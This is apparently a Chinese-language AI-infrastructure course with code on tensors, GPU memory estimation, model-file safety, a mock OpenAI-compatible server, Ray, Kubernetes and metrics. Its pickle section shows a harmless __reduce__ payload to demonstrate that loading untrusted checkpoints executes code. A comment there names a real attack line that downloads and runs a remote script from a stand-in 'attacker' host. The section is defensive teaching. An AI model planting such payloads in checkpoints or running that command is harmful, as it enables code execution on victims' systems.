AI Infrastructure 核心栈

"""阶段四 4.1 —— 张量思维。五件必须形成肌肉记忆的事。"""
from __future__ import annotations

import time

import numpy as np

rng = np.random.default_rng(0)

# ── 1. shape / dtype / 内存：养成写注释的习惯 ────────────────────────
x = rng.standard_normal((32, 128), dtype=np.float32)   # (batch, dim)
w = rng.standard_normal((128, 512), dtype=np.float32)  # (dim, hidden)
y = x @ w                                              # (batch, hidden)
print(f"1. x{x.shape} @ w{w.shape} -> y{y.shape}  dtype={y.dtype}  {y.nbytes/1024:.0f} KiB")
print(f"1. 口算：{32*512} 个元素 × 4 字节 = {32*512*4/1024:.0f} KiB  ✓")

# dtype 就是显存。这张表你要能背下来
for dt in (np.float32, np.float16, np.int8):
    a = np.zeros((1024, 1024), dtype=dt)
    print(f"1. 1024×1024 的 {np.dtype(dt).name:<8} = {a.nbytes/2**20:5.2f} MiB"
          f"  （每元素 {a.itemsize} 字节）")

# ── 2. broadcasting：不懂它就会写出"静默正确但结果全错"的代码 ────────
print("\n2. 广播规则：从**右往左**逐维比较，相等或其一为 1 才能对齐")
logits = rng.standard_normal((4, 5))          # (batch=4, vocab=5)
bias_ok = rng.standard_normal((5,))           # (5,)   → 广播到每一行 ✅
print(f"   (4,5) + (5,)   -> {(logits + bias_ok).shape}  ← 每行加同一个 bias，对")
bias_col = rng.standard_normal((4, 1))        # (4,1)  → 广播到每一列 ✅
print(f"   (4,5) + (4,1)  -> {(logits + bias_col).shape}  ← 每行加各自的数，也对")
try:
    logits + rng.standard_normal((4,))        # (4,)  右对齐后是 (1,4) vs (4,5) ❌
except ValueError as e:
    print(f"   (4,5) + (4,)   -> ValueError: {e}")
print("   ⚠️ 真正危险的是**不报错**的那种：")
a = np.arange(3).reshape(3, 1)                # (3,1)
b = np.arange(3)                              # (3,)
print(f"   (3,1) + (3,) 悄悄变成了 {(a + b).shape} —— 你以为在逐元素加，其实做了外积")
print(f"   {(a + b).tolist()}")

# ── 3. 向量化 vs 循环：实测差距 ──────────────────────────────────────
print("\n3. 同一件事，两种写法")
N = 1_000_000
va, vb = rng.standard_normal(N, dtype=np.float32), rng.standard_normal(N, dtype=np.float32)

t0 = time.perf_counter()
out_loop = [va[i] * vb[i] + 1.0 for i in range(N)]
t_loop = time.perf_counter() - t0

t0 = time.perf_counter()
out_vec = va * vb + 1.0
t_vec = time.perf_counter() - t0
print(f"   Python 循环   {t_loop*1000:8.1f} ms")
print(f"   NumPy 向量化  {t_vec*1000:8.1f} ms   快 {t_loop/t_vec:.0f}×"
      f"   结果一致={np.allclose(out_loop, out_vec)}")
print("   → 判断标准很简单：你在对几百万个元素写 for 循环 = 写错了。")

# ── 4. view vs copy：改了视图就是改了原数据 ──────────────────────────
print("\n4. 切片/reshape 通常只是**视图**，不是拷贝")
base = np.arange(12).reshape(3, 4).copy()   # .copy() 保证 base 自己是"拥有数据"的
view = base[:, :2]                            # 视图
view[0, 0] = 999
print(f"   改 view 之后 base[0,0] = {base[0,0]}  ← 原数组被改了！")
print(f"   base.base is None: {base.base is None}   view.base is base: {view.base is base}")
cp = base[:, :2].copy()                       # 显式拷贝才安全
cp[0, 0] = -1
print(f"   改 copy 之后 copy[0,0]={cp[0,0]}，但 base[0,0]={base[0,0]}  ← 原数组没被影响")

# transpose 之后内存不连续，很多算子会偷偷替你复制一次
t = base.T
print(f"   base 连续={base.flags['C_CONTIGUOUS']}  base.T 连续={t.flags['C_CONTIGUOUS']}"
      f"  → PyTorch 里这时要 .contiguous()")

# ── 5. 手写一次 softmax 和注意力，把 shape 语义刻进脑子 ───────────────
print("\n5. 从零实现 scaled dot-product attention（AI Infra 面试常考）")


def softmax(z: np.ndarray, axis: int = -1) -> np.ndarray:
    """数值稳定版：先减去最大值，否则 exp 会溢出成 inf。"""
    z = z - z.max(axis=axis, keepdims=True)      # keepdims 是为了能广播回去
    e = np.exp(z)
    return e / e.sum(axis=axis, keepdims=True)


def attention(q, k, v, mask=None):
    """q,k,v: (batch, heads, seq, head_dim)"""
    d_k = q.shape[-1]
    scores = q @ k.swapaxes(-2, -1) / np.sqrt(d_k)     # (b, h, seq, seq)
    if mask is not None:
        scores = np.where(mask, scores, -np.inf)        # 因果掩码
    return softmax(scores) @ v, scores                  # (b, h, seq, head_dim)


B, H, S, D = 2, 4, 6, 16
q = rng.standard_normal((B, H, S, D), dtype=np.float32)
k = rng.standard_normal((B, H, S, D), dtype=np.float32)
v = rng.standard_normal((B, H, S, D), dtype=np.float32)
causal = np.tril(np.ones((S, S), dtype=bool))          # 下三角：只能看见过去
out, scores = attention(q, k, v, causal)
print(f"   q{q.shape} k{k.shape} v{v.shape} -> out{out.shape}")
print(f"   注意力矩阵 {scores.shape}，随 seq **平方**增长 —— 这就是长上下文贵的原因")
print(f"   每行权重和应为 1：{softmax(np.where(causal, scores, -np.inf))[0,0].sum(-1)}")

seq = 8192
print(f"\n   若 seq={seq}, heads={H}, batch={B}, fp16：注意力矩阵本身就要 "
      f"{B*H*seq*seq*2/2**30:.1f} GiB —— FlashAttention 解决的就是这块。")

"""PyTorch 的 infra 视角。需要 GPU。"""
import time

import torch

# ── 1. 设备与拷贝：CPU↔GPU 是显式且昂贵的 ──────────────────────────
x = torch.randn(4096, 4096, dtype=torch.bfloat16)       # 先在 CPU 上
print(f"device={x.device} dtype={x.dtype} {x.element_size() * x.nelement() / 2**20:.0f} MiB")
x = x.to("cuda", non_blocking=True)                     # 拷到 GPU

# pin_memory 让 H2D 拷贝能异步进行（DataLoader 里默认该开）
cpu_pinned = torch.randn(4096, 4096).pin_memory()

# ── 2. ★ CUDA 是异步的：不 synchronize 的计时全是假的 ──────────────
def bench_wrong(fn, n=50):
    t0 = time.perf_counter()
    for _ in range(n):
        fn()
    return (time.perf_counter() - t0) / n            # ← 只测到了"提交"耗时

def bench_right(fn, n=50, warmup=10):
    for _ in range(warmup):                          # ★ 预热：首次调用要编译 kernel
        fn()
    torch.cuda.synchronize()                         # ★ 等前面的活儿全干完
    t0 = time.perf_counter()
    for _ in range(n):
        fn()
    torch.cuda.synchronize()                         # ★ 等这一批全干完
    return (time.perf_counter() - t0) / n

w = torch.randn(4096, 4096, dtype=torch.bfloat16, device="cuda")
print(f"错误计时 {bench_wrong(lambda: x @ w)*1e3:7.3f} ms   ← 通常小一个数量级")
print(f"正确计时 {bench_right(lambda: x @ w)*1e3:7.3f} ms")

# ── 3. 显存：allocated vs reserved，和 nvidia-smi 对不上是正常的 ────
def mem() -> str:
    a = torch.cuda.memory_allocated() / 2**30
    r = torch.cuda.memory_reserved() / 2**30
    return f"allocated={a:.2f} GiB  reserved={r:.2f} GiB（nvidia-smi 看到的是这个）"

print(mem())
big = torch.empty(8192, 8192, dtype=torch.bfloat16, device="cuda")
print("分配之后 ", mem())
del big
print("del 之后  ", mem(), "← reserved 不降：PyTorch 的缓存分配器留着复用")
torch.cuda.empty_cache()
print("empty_cache", mem(), "← 还给驱动了，但下次分配会更慢")

# ── 4. 推理路径一律 inference_mode ──────────────────────────────────
with torch.inference_mode():          # 比 no_grad 更彻底：连版本计数都不记
    y = x @ w
print(f"inference_mode 下 requires_grad={y.requires_grad}")

# ── 5. state_dict 就是一个张量字典 —— 理解这点，模型加载就不神秘了 ──
import torch.nn as nn

model = nn.Sequential(nn.Linear(128, 512), nn.GELU(), nn.Linear(512, 128))
sd = model.state_dict()
total = sum(t.numel() for t in sd.values())
print(f"\nstate_dict 有 {len(sd)} 个张量，共 {total:,} 个参数")
for name, tensor in sd.items():
    print(f"  {name:<12} {str(tuple(tensor.shape)):<12} {tensor.dtype}")
print("→ 模型 = 结构（代码）+ 权重（state_dict）。checkpoint 只是后者。")
print("→ 所以模型转换、分片、量化，本质都是在操作这个字典。")

# ── 6. OOM 时的自救 ────────────────────────────────────────────────
print(torch.cuda.memory_summary(abbreviated=True))   # 分配器的详细账本

权重    = 参数量 × 每参数字节数                      （静态，开机就占）
KV 缓存 = 2 × layers × kv_heads × head_dim × 字节
          × 序列长度 × 并发数                        （★ 随并发线性增长）
其它    = 激活 + 框架开销 + 碎片                     （经验值：留 10~15%）

#!/usr/bin/env python3
"""阶段四 4.2 —— 显存口算器。不需要 GPU 就能跑，但能救你很多次 OOM。"""
from __future__ import annotations

import argparse
from dataclasses import dataclass

GIB = 2**30

# 每个"元素"占多少字节。量化只压**权重**，KV 缓存默认仍是 fp16/bf16。
BYTES = {"fp32": 4.0, "bf16": 2.0, "fp16": 2.0, "fp8": 1.0, "int8": 1.0, "int4": 0.5}


@dataclass(frozen=True, slots=True)
class ModelConfig:
    """这些字段全部来自 HuggingFace 的 config.json —— 别背，去查。

    对应关系：
        layers     ← num_hidden_layers
        heads      ← num_attention_heads
        kv_heads   ← num_key_value_heads   （等于 heads 表示没用 GQA）
        head_dim   ← hidden_size / heads   （或显式的 head_dim）
    """

    name: str
    params: float        # 参数量（个）
    layers: int
    heads: int
    kv_heads: int
    head_dim: int

    def weights_gib(self, dtype: str) -> float:
        return self.params * BYTES[dtype] / GIB

    def kv_bytes_per_token(self, kv_dtype: str = "fp16") -> float:
        """★ 最该记住的一个公式。2 是因为要同时存 K 和 V。"""
        return 2 * self.layers * self.kv_heads * self.head_dim * BYTES[kv_dtype]

    def kv_gib(self, seq_len: int, concurrency: int, kv_dtype: str = "fp16") -> float:
        return self.kv_bytes_per_token(kv_dtype) * seq_len * concurrency / GIB

    def max_concurrency(self, gpu_gib: float, seq_len: int, *, dtype: str = "bf16",
                        kv_dtype: str = "fp16", overhead: float = 0.10) -> int:
        """给定一张卡，能同时装下几个满长度的请求？"""
        usable = gpu_gib * (1 - overhead) - self.weights_gib(dtype)
        if usable <= 0:
            return 0
        per_req = self.kv_gib(seq_len, 1, kv_dtype)
        return int(usable / per_req)


# 示例配置。⚠️ 数字会随模型版本变化，**以你要部署的那个 repo 的 config.json 为准**。
CATALOG = {
    "llama-3.1-8b":  ModelConfig("Llama-3.1-8B",  8.03e9, 32, 32,  8, 128),
    "qwen3-8b":      ModelConfig("Qwen3-8B",      8.19e9, 36, 32,  8, 128),
    "qwen3-32b":     ModelConfig("Qwen3-32B",    32.80e9, 64, 64,  8, 128),
    "llama-3.1-70b": ModelConfig("Llama-3.1-70B",70.60e9, 80, 64,  8, 128),
    "mha-7b-no-gqa": ModelConfig("7B（没有 GQA，对照组）", 7.00e9, 32, 32, 32, 128),
}

GPUS = {"A10G": 24, "L40S": 48, "A100-40G": 40, "A100-80G": 80, "H100-80G": 80}


def report(cfg: ModelConfig, gpu: str, gpu_gib: float, dtype: str, seq: int) -> None:
    w = cfg.weights_gib(dtype)
    per_tok_kib = cfg.kv_bytes_per_token() / 1024
    per_req = cfg.kv_gib(seq, 1)
    n = cfg.max_concurrency(gpu_gib, seq, dtype=dtype)
    print(f"\n{cfg.name}  @ {gpu} ({gpu_gib:g} GiB)  权重 {dtype}  上下文 {seq:,}")
    print(f"  权重            {w:7.2f} GiB")
    print(f"  KV / token      {per_tok_kib:7.1f} KiB      "
          f"(= 2 × {cfg.layers}层 × {cfg.kv_heads}个KV头 × {cfg.head_dim} × 2字节)")
    print(f"  KV / 满长度请求  {per_req:7.2f} GiB")
    print(f"  预留开销 10%    {gpu_gib*0.10:7.2f} GiB")
    print(f"  ⇒ 可并发        {n:5d} 个满长度请求"
          + ("   ⚠️ 权重都装不下，需要张量并行/量化" if n == 0 else ""))


def main() -> None:
    p = argparse.ArgumentParser(description="LLM 显存口算器")
    p.add_argument("--model", default="llama-3.1-8b", choices=sorted(CATALOG))
    p.add_argument("--gpu", default="A100-80G", choices=sorted(GPUS))
    p.add_argument("--dtype", default="bf16", choices=sorted(BYTES))
    p.add_argument("--seq", type=int, default=4096)
    p.add_argument("--sweep", action="store_true", help="打印几张对照表")
    a = p.parse_args()

    report(CATALOG[a.model], a.gpu, GPUS[a.gpu], a.dtype, a.seq)
    if not a.sweep:
        return

    print("\n" + "=" * 78)
    print("表 1：量化省的是**权重**，不是 KV 缓存（Llama-3.1-8B @ A100-80G, 4k 上下文）")
    print(f"  {'权重精度':<8}{'权重(GiB)':>12}{'可并发':>10}")
    m = CATALOG["llama-3.1-8b"]
    for dt in ("fp32", "bf16", "fp8", "int4"):
        print(f"  {dt:<10}{m.weights_gib(dt):>10.2f}{m.max_concurrency(80, 4096, dtype=dt):>10d}")
    print("  → int4 把权重压到 1/4，但并发只多了一点点：瓶颈早就是 KV 缓存了。")

    print("\n表 2：GQA 才是并发的关键（bf16 @ A100-80G, 4k 上下文）")
    print(f"  {'模型':<26}{'KV/token':>11}{'可并发':>10}")
    for key in ("llama-3.1-8b", "mha-7b-no-gqa"):
        c = CATALOG[key]
        print(f"  {c.name:<26}{c.kv_bytes_per_token()/1024:>9.0f}KiB"
              f"{c.max_concurrency(80, 4096):>10d}")
    print("  → 同样 7~8B、同一张卡，有没有 GQA 差 4 倍并发。")

    print("\n表 3：上下文长度是并发的头号杀手（Llama-3.1-8B bf16 @ A100-80G）")
    print(f"  {'上下文':>10}{'KV/请求(GiB)':>16}{'可并发':>10}")
    for s in (2048, 8192, 32768, 131072):
        print(f"  {s:>10,}{m.kv_gib(s,1):>14.2f}{m.max_concurrency(80, s):>10d}")
    print("  → 把 max_model_len 从 128k 调到 8k，吞吐可能直接翻十几倍。")
    print("    这是推理服务最容易被忽略、却最见效的一个旋钮。")

    print("\n表 4：70B 装不进单卡时怎么办（4k 上下文）")
    big = CATALOG["llama-3.1-70b"]
    for dt in ("bf16", "fp8", "int4"):
        w = big.weights_gib(dt)
        cards = -(-int(w * 1.15) // 80) or 1
        print(f"  {dt:<6} 权重 {w:6.2f} GiB → 单卡80G {'装得下' if w < 72 else '装不下'}"
              f"，至少需要 {cards} 张（张量并行 TP={cards}）")


if __name__ == "__main__":
    main()

"""阶段四 4.3 —— 模型工件层：为什么 infra 侧必须禁止加载不可信的 pickle。

这不是理论风险。`.bin` / `.pt` / `.ckpt` 本质是 pickle，
**反序列化就等于执行代码** —— 下面几行就能证明，无害地。
"""
from __future__ import annotations

import json
import pickle
import struct
import tempfile
from pathlib import Path

# ── 1. pickle 的反序列化 = 任意代码执行 ──────────────────────────────
class InnocentLookingCheckpoint:
    """看起来就是个普通的权重字典。"""

    def __reduce__(self):
        # 这个魔法方法告诉 pickle "怎么重建我"。攻击者写什么，机器就执行什么。
        # 真实攻击会写 os.system("curl attacker/x.sh | sh")；这里只是打印。
        return (print, ("   ☠️  [payload] 我在 torch.load() 的那一刻就运行了",))


blob = pickle.dumps(InnocentLookingCheckpoint())
print("1. 一个 %d 字节的 '权重文件'。现在'加载'它：" % len(blob))
pickle.loads(blob)          # ← 等价于 torch.load(f)，weights_only=False 时
print("   → 注意：我们一次都没有调用那个类的方法，只是反序列化。\n")

# ── 2. safetensors 为什么安全：它根本不是可执行格式 ──────────────────
print("2. safetensors 的文件结构（手写一个，8 行就够）")


def write_safetensors(path: Path, tensors: dict[str, list[float]]) -> None:
    """格式：[8 字节头长度][JSON 头][紧接着的原始字节]。没有代码，只有数据。"""
    header, payload, offset = {}, bytearray(), 0
    for name, values in tensors.items():
        raw = struct.pack(f"<{len(values)}f", *values)
        header[name] = {"dtype": "F32", "shape": [len(values)],
                        "data_offsets": [offset, offset + len(raw)]}
        payload += raw
        offset += len(raw)
    head = json.dumps(header).encode()
    head += b" " * ((8 - len(head) % 8) % 8)           # 对齐到 8 字节
    path.write_bytes(struct.pack("<Q", len(head)) + head + bytes(payload))


def read_header(path: Path) -> dict:
    """★ 关键：只读头就能知道有哪些张量、多大 —— 不用把权重读进内存。"""
    with path.open("rb") as f:
        n = struct.unpack("<Q", f.read(8))[0]
        return json.loads(f.read(n))


with tempfile.TemporaryDirectory() as d:
    p = Path(d) / "model.safetensors"
    write_safetensors(p, {"layer0.weight": [1.0, 2.0, 3.0, 4.0],
                          "layer0.bias": [0.1, 0.2]})
    print(f"   文件 {p.stat().st_size} 字节")
    print(f"   只读头拿到的元信息：{json.dumps(read_header(p), ensure_ascii=False)}")

HF_HOME=/models        # 所有缓存的根，容器里一定要显式设

# 目录结构
$HF_HOME/hub/models--<org>--<name>/snapshots/<commit-sha>/*.safetensors
                                  /refs/main            # 分支 → sha 的指针
                                  /blobs/               # 真实文件，snapshots 里是软链

"""阶段四 4.4 —— 最小可跑的 OpenAI 兼容推理服务（不需要 GPU）。

跑起来：
    uv run uvicorn d_serve_min:app --port 8000
    curl -N localhost:8000/v1/chat/completions -H 'content-type: application/json' \
         -d '{"model":"fake","messages":[{"role":"user","content":"hi"}],"stream":true}'
"""
from __future__ import annotations

import asyncio
import json
import time
import uuid
from collections.abc import AsyncIterator

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from pydantic import BaseModel, Field

# ── 1. 契约层：pydantic ≈ DTO + @Valid，但校验是**运行时真做**的 ──────


class Message(BaseModel):
    role: str = Field(pattern="^(system|user|assistant)$")
    content: str = Field(min_length=1, max_length=32_000)


class ChatRequest(BaseModel):
    model: str
    messages: list[Message] = Field(min_length=1)
    max_tokens: int = Field(default=128, ge=1, le=4096)
    temperature: float = Field(default=0.7, ge=0.0, le=2.0)
    stream: bool = False


# ── 2. 后端：模拟真实 LLM 的两段式节奏 ─────────────────────────────

TTFT_S = 0.25          # 首 token 时延：prefill 阶段，算力瓶颈
ITL_S = 0.012          # token 间隔：decode 阶段，访存瓶颈


async def fake_generate(req: ChatRequest) -> AsyncIterator[str]:
    """模拟一次生成。注意这里的两段式节奏，它复刻了真实 LLM 的行为。"""
    await asyncio.sleep(TTFT_S)                       # prefill
    vocab = ["这", "是", "一", "个", "假", "的", "回", "答", "，", "用", "来", "练", "服", "务", "化", "。"]
    n = min(req.max_tokens, 64)
    for i in range(n):
        await asyncio.sleep(ITL_S)                    # decode，一次一个 token
        yield vocab[i % len(vocab)]


# ── 3. 路由 ────────────────────────────────────────────────────────

app = FastAPI(title="mini-gateway")


def _chunk(cid: str, model: str, delta: dict, finish: str | None = None) -> str:
    """一条 SSE 数据行。OpenAI 的流式格式就长这样。"""
    payload = {
        "id": cid, "object": "chat.completion.chunk",
        "created": int(time.time()), "model": model,
        "choices": [{"index": 0, "delta": delta, "finish_reason": finish}],
    }
    return f"data: {json.dumps(payload, ensure_ascii=False)}\n\n"


@app.post("/v1/chat/completions")                     # ≈ @PostMapping
async def chat(req: ChatRequest):
    cid = f"chatcmpl-{uuid.uuid4().hex[:12]}"
    if not req.stream:
        text = "".join([t async for t in fake_generate(req)])
        return {
            "id": cid, "object": "chat.completion", "model": req.model,
            "choices": [{"index": 0, "message": {"role": "assistant", "content": text},
                         "finish_reason": "stop"}],
            "usage": {"completion_tokens": len(text)},
        }

    async def sse() -> AsyncIterator[str]:
        yield _chunk(cid, req.model, {"role": "assistant", "content": ""})
        try:
            async for tok in fake_generate(req):
                yield _chunk(cid, req.model, {"content": tok})
            yield _chunk(cid, req.model, {}, finish="stop")
            yield "data: [DONE]\n\n"
        except asyncio.CancelledError:
            # ★ 客户端断开时会走到这里。真后端在这里必须**取消下游生成**，
            #   否则 GPU 还在为一个没人看的请求算 token —— 白烧钱。
            print(f"[{cid}] 客户端断开，已取消生成")
            raise

    return StreamingResponse(
        sse(),
        media_type="text/event-stream",
        headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"},
    )


@app.get("/healthz")     # liveness：进程还活着吗
async def healthz():
    return {"status": "ok"}


@app.get("/readyz")      # readiness：★ 和 liveness 不是一回事
async def readyz():
    # 真实服务里这里要检查"权重加载完了没"。模型要几分钟才加载完，
    # 这期间进程是活的但**不能**接流量 —— 混淆这两者会导致滚动更新时 502。
    return {"status": "ready", "model_loaded": True}

from fastapi.testclient import TestClient
from d_serve_min import app

c = TestClient(app)
body = {"model": "fake", "messages": [{"role": "user", "content": "你好"}], "max_tokens": 8}

r = c.post("/v1/chat/completions", json=body)
print("非流式:", r.status_code, r.json()["choices"][0]["message"]["content"])

with c.stream("POST", "/v1/chat/completions", json={**body, "stream": True}) as s:
    lines = [ln for ln in s.iter_lines() if ln.startswith("data:")]
print("流式:  ", len(lines), "个 SSE 事件，最后一个 =", lines[-1])

bad = c.post("/v1/chat/completions", json={"model": "f", "messages": [], "max_tokens": 99999})
print("校验:  ", bad.status_code, [(e["loc"], e["type"]) for e in bad.json()["detail"]])
print("健康:  ", c.get("/healthz").json(), c.get("/readyz").json())

"""Ray 的心智模型：@ray.remote 把函数变任务、把类变 actor。"""
import ray

ray.init()

@ray.remote(num_gpus=1)                     # ≈ 声明这个任务要一张卡
def embed_shard(texts: list[str]) -> list[list[float]]:
    import torch
    model = load_model().cuda()
    return model.encode(texts)

# 提交 4 个任务，Ray 负责调度到有空闲 GPU 的节点
futures = [embed_shard.remote(shard) for shard in shards]
results = ray.get(futures)                  # ≈ CompletableFuture.allOf().join()


@ray.remote(num_gpus=1)
class ModelActor:
    """Actor = 有状态的远程对象。模型只加载一次，之后复用。"""
    def __init__(self, path: str):
        self.model = load_model(path).cuda()   # ← 加载一次

    def generate(self, prompt: str) -> str:
        return self.model.generate(prompt)

actor = ModelActor.remote("/models/qwen3-8b")
print(ray.get(actor.generate.remote("hello")))

# 一份能直接用的部署骨架。四个 GPU 服务特有的坑都标出来了。
apiVersion: apps/v1
kind: Deployment
metadata:
  name: llmgw
spec:
  replicas: 2
  selector: {matchLabels: {app: llmgw}}
  template:
    metadata: {labels: {app: llmgw}}
    spec:
      containers:
        - name: gateway
          image: your-registry/llmgw:1.0.0
          ports: [{containerPort: 8000}]
          env:
            - {name: LLMGW_BACKEND,   value: "vllm"}
            - {name: VLLM_URL,        value: "http://vllm:8001"}
            - {name: MAX_CONCURRENCY, value: "8"}   # ← 用上面的显存公式算出来的
            - {name: MAX_QUEUE,       value: "32"}
          resources:
            requests: {nvidia.com/gpu: 1, memory: 8Gi}   # 坑1：GPU 只能整数申请
            limits:   {nvidia.com/gpu: 1, memory: 16Gi}
          livenessProbe:                                  # 坑2：liveness 只查进程
            httpGet: {path: /healthz, port: 8000}
            initialDelaySeconds: 10
            periodSeconds: 10
          readinessProbe:                                 # 坑3：readiness 才查模型
            httpGet: {path: /readyz, port: 8000}
            initialDelaySeconds: 15
            periodSeconds: 5
            failureThreshold: 60      # 权重加载慢，给足 5 分钟，别让它被判死刑
          volumeMounts:
            - {name: models, mountPath: /models}
            - {name: dshm,   mountPath: /dev/shm}         # 坑4：默认 64MB，NCCL 会挂
      volumes:
        - name: models
          persistentVolumeClaim: {claimName: model-cache} # 权重放共享卷，不进镜像
        - name: dshm
          emptyDir: {medium: Memory, sizeLimit: 8Gi}

"""Prometheus 指标。普通 Web 服务的那套不够用。"""
from prometheus_client import CollectorRegistry, Counter, Gauge, Histogram

REGISTRY = CollectorRegistry()

# ★ 分桶按"你要回答的问题"设计，不要用默认桶：
#   TTFT 的关注区间是 50ms~5s，端到端是 0.5s~2min，它们的桶必须不同。
TTFT = Histogram("llmgw_ttft_seconds", "首 token 时延", ["model"],
                 buckets=(.05, .1, .2, .3, .5, .75, 1, 1.5, 2, 3, 5, 10),
                 registry=REGISTRY)
E2E = Histogram("llmgw_request_seconds", "端到端时延", ["model", "outcome"],
                buckets=(.1, .25, .5, 1, 2, 4, 8, 15, 30, 60, 120),
                registry=REGISTRY)
QUEUE_WAIT = Histogram("llmgw_queue_seconds", "排队时延", ["model"],
                       buckets=(.001, .01, .05, .1, .25, .5, 1, 2, 5, 10),
                       registry=REGISTRY)
ITL = Histogram("llmgw_inter_token_seconds", "token 间隔 (TPOT)", ["model"],
                buckets=(.002, .005, .01, .02, .05, .1, .25, .5),
                registry=REGISTRY)

REQUESTS = Counter("llmgw_requests_total", "请求数", ["model", "outcome"], registry=REGISTRY)
TOKENS = Counter("llmgw_tokens_total", "token 数", ["model", "kind"], registry=REGISTRY)

IN_FLIGHT = Gauge("llmgw_in_flight", "正在生成的请求数", registry=REGISTRY)
WAITING = Gauge("llmgw_waiting", "排队中的请求数", registry=REGISTRY)
READY = Gauge("llmgw_backend_ready", "后端就绪 (1/0)", registry=REGISTRY)